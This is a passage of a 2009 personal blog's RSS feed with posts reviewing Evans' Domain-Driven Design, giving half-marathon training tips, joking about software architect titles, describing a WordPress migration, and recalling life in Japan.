</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/sLe66tMGA5M" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/06/19/stop-refactoring/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/06/19/stop-refactoring/</feedburner:origLink></item>
		<item>
		<title>Book Reviewed: Domain-Driven Design: Tackling Complexity in the Heart of Software by Eric Evans</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/kz5_uuymI7s/</link>
		<comments>http://adam.kahtava.com/journal/2009/06/15/book-reviewed-domain-driven-design-tackling-complexity-in-the-heart-of-software-by-eric-evans/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:10:31 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Book]]></category>

		<category><![CDATA[DDD]]></category>

		<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1539</guid>
		<description><![CDATA[In Domain-Driven Design: Tackling Complexity in the Heart of Software Eric Evans shares his extensive development and consulting experience as he outlines his approach to software development and design using Domain Driven Design (DDD). Evans' writing style is easy to read as he maintains a comfortable conversational tone while pragmatically guiding us through the many patterns and [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float: right;" src="http://images.amazon.com/images/P/0321125215.01.LZZZZZZZ.jpg" alt="Eric Evans Domain Driven Design" />In <a href="http://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215/">Domain-Driven Design: Tackling Complexity in the Heart of Software</a> Eric Evans shares his extensive development and consulting experience as he outlines his approach to software development and design using <a href="http://en.wikipedia.org/wiki/Domain-driven_design">Domain Driven Design (DDD)</a>. Evans' writing style is easy to read as he maintains a comfortable conversational tone while pragmatically guiding us through the many patterns and concepts that encompass DDD. However; be-warned the concepts that lie within are occasionally dense, abstract, but ultimately enlightening as Evans' forces us to look at development from a new perspective.</p>
<p>It's also fair to mention that this book has been charged as being just another <em>patterns</em> book, and while I can see this perspective, some of the concepts do come across as being overly abstract without clear implementations (code) to reference, but this books is much more than another <em>patterns</em> book. As a developer you don't want to overlook this book, it's an insightful snapshot into the mind of an experienced developer. From my experience the concepts and patterns surrounding Domain Driven Design frequently crop up in Service Orientation, MVC/MVP structured Web Applications, Object Orientation, Test Driven Development, Model Driven Development, and other modern staticly typed best practices. If you do find yourself grasping for more concrete implementations then you'll want to read <a href="http://www.amazon.com/Applying-Domain-Driven-Design-Patterns-Examples/dp/0321268202/">Jimmy Nilsson's Applying Domain-Driven Design and Patterns: With Examples in C# and .NET</a> book too - Nilsson's book provides many code examples while directly referencing Evan's text.</p>
<p>I highly recommend this book, it's a great reference to have alongside <a href="http://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670/">Steve McConnell's Code Complete</a>, <a href="http://www.amazon.com/Facts-Fallacies-Software-Engineering-Development/dp/0321117425/">Facts and Fallacies of Software Engineering by Robert Glass</a>, and the <a href="http://www.amazon.com/s/ref=ntt_at_ep_srch/177-3269023-1078248?ie=UTF8&amp;search-alias=books&amp;field-author=Martin+Fowler">Martin Fowler</a> blessed books too.</p>
<p><em>A group of us reread this book as part of </em><em><a href="http://groups.google.ca/group/calgary-book-club-">The Calgary Book Club</a>.</em><em> View</em><a href="http://www.amazon.com/gp/cdp/member-reviews/A2JM0EQJELFL69/"><em> my review on Amazon</em></a><em>.</em></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kz5_uuymI7s:BiX4M46bJIE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kz5_uuymI7s:BiX4M46bJIE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kz5_uuymI7s:BiX4M46bJIE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kz5_uuymI7s:BiX4M46bJIE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kz5_uuymI7s:BiX4M46bJIE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kz5_uuymI7s:BiX4M46bJIE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kz5_uuymI7s:BiX4M46bJIE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kz5_uuymI7s:BiX4M46bJIE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/kz5_uuymI7s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/06/15/book-reviewed-domain-driven-design-tackling-complexity-in-the-heart-of-software-by-eric-evans/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/06/15/book-reviewed-domain-driven-design-tackling-complexity-in-the-heart-of-software-by-eric-evans/</feedburner:origLink></item>
		<item>
		<title>Training for a Half Marathon</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/PofGAyzJqxk/</link>
		<comments>http://adam.kahtava.com/journal/2009/06/05/training-for-a-half-marathon/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 17:00:52 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1487</guid>
		<description><![CDATA[
I ran my first half marathon this past weekend. Finding training resources online was difficult so I'm passing on the advice that I found useful.
How to train for a half marathon:

Ensure you can maintain 30 minutes of moderate running at least a month before your running date (this is the most important step)
One month before [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://www.flickr.com/photos/kahtava/3583230172/"><img title="Adam Kahtava" src="http://farm4.static.flickr.com/3412/3583230172_47a05a2b24_m.jpg" alt="" /></a></div>
<p>I ran my first half marathon this past weekend. Finding training resources online was difficult so I'm passing on the advice that I found useful.</p>
<p>How to train for a half marathon:</p>
<ul>
<li>Ensure you can maintain 30 minutes of moderate running at least a month before your running date (this is the <strong>most </strong>important step)</li>
<li>One month before your race, run 18 kms (6 easy, 6 moderate, 6 hard, don't worry about how long it takes)</li>
<li>7 days later run 20 kms</li>
<li>7 days later run for 90 minutes hard</li>
<li>7 days later run for 60 minutes at a moderate pace</li>
<li>1 day before the race run for 20 minutes at an easy pace</li>
</ul>
<p>The week before the race you should be feeling lazy, lethargic and ready for the race - you've tapered correctly. Tapering leads to improvements in running economy and muscle strength. Learn more here <a href="http://www.pfitzinger.com/labreports/marathontaper.shtml">Tapering For a Marathon</a>.</p>
<p>Other tips I picked up:</p>
<ul>
<li>If you're planing on taking gels or sports drinks during the race then make sure to take them while training</li>
<li>Don't mix sports drinks and gels - take one or the other or you'll get end up getting sick (like me)</li>
<li>Bring Advil or Tylenol with you</li>
<li>Avoid fiber foods 2 days before the race (you don't want to visit the portables)</li>
<li>Add more carbs and salt to your meals the week of the race</li>
<li>Have your last big meal 10 hours before the race</li>
<li>Have your breakfast 2-3 hours before the race</li>
</ul>
<p>Running with 3000+ people for the first 16 kms was an amazing experience, after the 18 km mark I was questioning my sanity, and when it was over all the race participants were on top of the world. I highly recommend doing a half or full marathon. I raised some money for <a href="http://www.diabetes.ca/get-involved/supporting-us/team-diabetes/">Team Diabetes</a> and managed to finished under 2 hours.  Next year I'm doing the full. Look me up in the <a href="http://raceheadquarters.com/results/2009/run/CalgaryMarathon2009Half.html">2009 HSBC Calgary Half Marathon Results</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=PofGAyzJqxk:xQMHNBfKmds:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=PofGAyzJqxk:xQMHNBfKmds:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=PofGAyzJqxk:xQMHNBfKmds:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=PofGAyzJqxk:xQMHNBfKmds:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=PofGAyzJqxk:xQMHNBfKmds:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=PofGAyzJqxk:xQMHNBfKmds:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=PofGAyzJqxk:xQMHNBfKmds:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=PofGAyzJqxk:xQMHNBfKmds:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/PofGAyzJqxk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/06/05/training-for-a-half-marathon/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/06/05/training-for-a-half-marathon/</feedburner:origLink></item>
		<item>
		<title>George Costanza is a Software Architect</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/6g7ANwM4O5U/</link>
		<comments>http://adam.kahtava.com/journal/2009/05/26/george-costanza-is-a-software-architect/#comments</comments>
		<pubDate>Wed, 27 May 2009 02:07:43 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1454</guid>
		<description><![CDATA[George Costanza always wanted to be an architect, but he's not, and every time he pretends to be one he gets in trouble. Now, if you've watched Seinfeld, you also know that George has numerous psychological problems, including: narcissism, habitual lying, low self-esteem, sudden fits of anger, impulsive acts of ill-considered generosity, cheapness, selfishness, living [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/George_Costanza">George Costanza</a> always wanted to be an architect, but he's not, and every time he pretends to be one he gets in trouble. Now, if you've watched Seinfeld, you also know that George has numerous psychological problems, including: narcissism, habitual lying, low self-esteem, sudden fits of anger, impulsive acts of ill-considered generosity, cheapness, selfishness, living in fantasy.</p>
<p>This begs for the question: <strong>how different are the developers that award themselves the title of Software Architect from George?</strong> How is it that someone can have a resume that reads <em>developer, developer</em> one week then next month reads <em>architect, architect</em>? Are we so insecure in our livelihood that we need to inflate out roles?  Anyone can claim to be an architect, and being one rarely means the same thing across organizations, doesn't require certification, and some architects appear to live in ivory towers (tend to live in fantasy worlds like George). Has the title of<em> Software Architect</em> become synonymous to being <em>Full of Baloney</em>? If George didn't switch careers and become a <em>hand model</em> he probably would have started pretending to be a Software Architect too. :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6g7ANwM4O5U:X3qWiJce9mo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6g7ANwM4O5U:X3qWiJce9mo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=6g7ANwM4O5U:X3qWiJce9mo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6g7ANwM4O5U:X3qWiJce9mo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=6g7ANwM4O5U:X3qWiJce9mo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6g7ANwM4O5U:X3qWiJce9mo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=6g7ANwM4O5U:X3qWiJce9mo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=6g7ANwM4O5U:X3qWiJce9mo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/6g7ANwM4O5U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/05/26/george-costanza-is-a-software-architect/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/05/26/george-costanza-is-a-software-architect/</feedburner:origLink></item>
		<item>
		<title>Big Changes In The Works: Update My RSS Feed URL</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/jodygCzxAiU/</link>
		<comments>http://adam.kahtava.com/journal/2009/05/18/big-changes-in-the-works-update-my-rss-feed-url/#comments</comments>
		<pubDate>Mon, 18 May 2009 21:52:37 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1437</guid>
		<description><![CDATA[Things have been quiet for the past couple weeks, but an undercurrent of change has been happening within. My hosting account expired this month - which also marks 3 years of yammering (err... blogging) - I switched accounts, changed blog engines, migrated the content, and tried to resolve all existing links to the new engine.
I've [...]]]></description>
			<content:encoded><![CDATA[<p>Things have been quiet for the past couple weeks, but an undercurrent of change has been happening within. My hosting account expired this month - which also marks 3 years of yammering (err... blogging) - I switched accounts, changed blog engines, migrated the content, and tried to resolve all existing links to the new engine.</p>
<p>I've joined the millions of a happy<a href="http://wordpress.org/"> WordPress </a>users. This site was running <a href="http://www.dasblog.info/">dasBlog</a> - now dasBlog was pretty swell 4 years ago, but so was <a href="http://phpnuke.org/">PHP-nuke</a>, <a href="http://www.dotnetnuke.com/">DotNetNuke</a>, <em>table-based-design</em>, ASP.NET Themes &amp; Skins, and ASP.NET AJAX. :) Web technology changes at an accelerated pace, and some software / technologies / frameworks need to run their inevitable natural evolutionary course (extinction). dasBlog did its job, but it's time to move on - not to mention I'll sleep easier knowing that <a href="http://www.bailingbucket.com/">Rhett</a> won't be taunting me about how my blog reminds him of SharePoint. <em>Adios</em> dasBlog! :)</p>
<p>The new digs:</p>
<ul>
<li>WordPress running on IIS 7 hosted by GoDaddy's shared hosting plan ($203 for 4 years!!)</li>
<li>Redirections by <a href="http://managedfusion.com/products/url-rewriter/">ManagedFusion Url Rewriter</a></li>
<li>WordPress plug-ins installed:
<ul>
<li>FeedBurner FeedSmith - uses feedburner feeds in place of the WP vanilla feeds</li>
<li>Google Analytics for WP</li>
<li>Google XML Sitemaps</li>
<li>WP More Feeds - generates feeds for categories like <a href="http://adam.kahtava.com/journal/category/musings/feed/">musings</a> (this feature was native to dasBlog, but not to WP)</li>
</ul>
</li>
</ul>
<p>Be sure to update this blog's RSS feed to: <a href="http://adam.kahtava.com/journal/feed/">http://adam.kahtava.com/journal/feed/</a>. Old feeds will continue to work, but you may experience some oddities.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=jodygCzxAiU:6ERWyyb7Csw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=jodygCzxAiU:6ERWyyb7Csw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=jodygCzxAiU:6ERWyyb7Csw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=jodygCzxAiU:6ERWyyb7Csw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=jodygCzxAiU:6ERWyyb7Csw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=jodygCzxAiU:6ERWyyb7Csw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=jodygCzxAiU:6ERWyyb7Csw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=jodygCzxAiU:6ERWyyb7Csw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/jodygCzxAiU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/05/18/big-changes-in-the-works-update-my-rss-feed-url/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/05/18/big-changes-in-the-works-update-my-rss-feed-url/</feedburner:origLink></item>
		<item>
		<title>The Obsessive CEO</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/czACPYqhOFA/</link>
		<comments>http://adam.kahtava.com/journal/2009/04/27/the-obsessive-ceo/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 14:40:25 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1435</guid>
		<description><![CDATA[Memories were being relived as I dug through years worth of archived email in a quest to find a reseller / hosting account. I once had lofty aspirations to create my own web company and quickly became the obsessive CEO.
The plan was to sell domain names, web hosting, and deliver websites to my clients - [...]]]></description>
			<content:encoded><![CDATA[<p>Memories were being relived as I dug through years worth of archived email in a quest to find a reseller / hosting account. I once had lofty aspirations to create my own web company and quickly became <strong>the obsessive CEO</strong>.</p>
<p>The plan was to sell domain names, web hosting, and deliver websites to my clients - a <em>one-stop-shop</em> of sorts. I'd frequently obsess over the idea and smatter my coworkers, and friends (actually, anyone that would listen) with my fantastic ideas. I was obsessed. By obsessed, I mean, I obnoxiously sent out weekly (sometimes daily) emails containing mindmaps, and reams of links - all while maintaining a wiki bursting with my exceptionally mediocre ideas. :) I purchased reseller accounts, hosting plans - nothing was stopping me! Now that I think of it, obsessive tendencies probably run in my family - to this day my Mother vacuums her house three times a day, sure there were 11 people in our family and things got messy, but three times a day!! Try watching TV with the vacuum running three times a day It's enough to make you quit TV and take up programming. Anyhow, during the time of my obsession, a couple senior coworkers gently suggested that I need more experience. I remember thinking:</p>
<blockquote><p>Man, I've already been through school, I have an freak'n edumacation. I'm building sweet programs. How much more experience do I need?</p></blockquote>
<p>Of course they were right. Since then, every year / month / day has brought heaps of new knowledge and experience - experience is one of those things that can only be acquired with time. My idea of the one-stop-shop crumbled when I realized that I couldn't compete with discount hosting like GoDaddy / Dreamhost. I also realized that I enjoyed working in teams on large web applications rather than solo projects. Today I'll occasionally meet an obsessive CEO, I'll offer some advice, and smile. Good ideas tend to be self evident - they don't require wikis and link farms to convince people. If you can execute your idea (develop it yourself) then your personal passion and drive will contribute to it's success or at least provide you with irreplaceable experience - even if it is a hair brained idea.</p>
<p>If you're interested, I still have the reseller account which offers reasonable domain discounts. Thanks to all my friends who tolerated me through those growing pains. :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=czACPYqhOFA:oWkljeqNVOw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=czACPYqhOFA:oWkljeqNVOw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=czACPYqhOFA:oWkljeqNVOw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=czACPYqhOFA:oWkljeqNVOw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=czACPYqhOFA:oWkljeqNVOw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=czACPYqhOFA:oWkljeqNVOw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=czACPYqhOFA:oWkljeqNVOw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=czACPYqhOFA:oWkljeqNVOw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/czACPYqhOFA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/04/27/the-obsessive-ceo/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/04/27/the-obsessive-ceo/</feedburner:origLink></item>
		<item>
		<title>The Wattage Dilemma</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/I9b5byxbywc/</link>
		<comments>http://adam.kahtava.com/journal/2009/04/20/the-wattage-dilemma/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 22:47:00 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,e07f0bce-c3fd-43f0-abdf-b63429791990.aspx</guid>
		<description><![CDATA[Steph and I lived in Japan for a year. Our apartment had a single breaker rated at 1500 watts - use any more and you'd lose all power. Our apartment came with an air conditioner to tackle the oppressive summer heat, a dehumidifier, and kerosene heater for the humid winter months. Japan is humid! Now, [...]]]></description>
			<content:encoded><![CDATA[<p>Steph and I lived in Japan for a year. Our apartment had a single breaker rated at 1500 watts - use any more and you'd lose all power. Our apartment came with an air conditioner to tackle the oppressive summer heat, a dehumidifier, and kerosene heater for the humid winter months. Japan is humid! Now, the A/C took 1740 watts, our dehumidifier 800 watts, coffee maker 800 watts, and kerosene heater 500 watts. Keeping the power on for a given day was a feat - the A/C used more power than we were allotted! Japan was full of ironies.</p>
<p> Some of our <a href="http://www.flickr.com/photos/kahtava/collections/72157600076146313/">pictures</a> from Japan.  </p>
<p> A video of our messy apartment:<br /><embed id="VideoPlayback" src="http://video.google.ca/googleplayer.swf?docid=224077674672431124&amp;hl=en&amp;fs=true" style="width: 400px; height: 326px;" allowfullscreen="true" allowscriptaccess="always" type="application/x-shockwave-flash"></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=I9b5byxbywc:jjHTDwnqoGc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=I9b5byxbywc:jjHTDwnqoGc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=I9b5byxbywc:jjHTDwnqoGc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=I9b5byxbywc:jjHTDwnqoGc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=I9b5byxbywc:jjHTDwnqoGc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=I9b5byxbywc:jjHTDwnqoGc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=I9b5byxbywc:jjHTDwnqoGc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=I9b5byxbywc:jjHTDwnqoGc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/I9b5byxbywc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/04/20/the-wattage-dilemma/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/04/20/the-wattage-dilemma/</feedburner:origLink></item>
		<item>
		<title>Running a Half Marathon for Diabetes</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/ckzS8JipuFk/</link>
		<comments>http://adam.kahtava.com/journal/2009/04/16/running-a-half-marathon-for-diabetes/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 01:30:11 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Calgary]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,2c099ed1-2706-49d7-8b85-6c743c27a6f9.aspx</guid>
		<description><![CDATA[I'm running the half marathon for diabetes in Calgary on May 31st . One of my younger brothers has diabetes, so the run has personal significance.  
 My training up to this point has been terribly lax, I've been running 7km in about an hour. At this pace it'll take at least 3 hours [...]]]></description>
			<content:encoded><![CDATA[<p>I'm running the <a href="http://www.hsbccalgarymarathon.com/Races/HalfMarathon">half marathon for diabetes</a> in Calgary on May 31st . One of my younger brothers has diabetes, so the run has personal significance.  </p>
<p> My training up to this point has been terribly lax, I've been running 7km in about an hour. At this pace it'll take at least 3 hours to break 20kms - Ouch!</p>
<p> If you&#39;re interested in donating (or better yet, joining the run too), then follow these steps:<br /> 
<ol>
<li> Visit The <a href="https://ocp.diabetes.ca/Pledge/csSearch.asp?prId=td">Canadian Diabetes Association</a> </li>
<li> Search for Adam Kahtava</li>
<li> Donate</li>
</ol>
<p> Anyhow; life isn&#39;t just about geeking out. I&#39;ve got to run. :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ckzS8JipuFk:H5i5p0rpsgI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ckzS8JipuFk:H5i5p0rpsgI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ckzS8JipuFk:H5i5p0rpsgI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ckzS8JipuFk:H5i5p0rpsgI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ckzS8JipuFk:H5i5p0rpsgI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ckzS8JipuFk:H5i5p0rpsgI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ckzS8JipuFk:H5i5p0rpsgI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ckzS8JipuFk:H5i5p0rpsgI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/ckzS8JipuFk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/04/16/running-a-half-marathon-for-diabetes/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/04/16/running-a-half-marathon-for-diabetes/</feedburner:origLink></item>
		<item>
		<title>More Thoughts on Blogging</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/AlePJcO9El8/</link>
		<comments>http://adam.kahtava.com/journal/2009/04/14/more-thoughts-on-blogging/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 17:12:43 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,7b0fd266-f5c7-4200-ab88-ff2ff1e10acf.aspx</guid>
		<description><![CDATA[A couple more factors that have shaped my blog subscriptions.
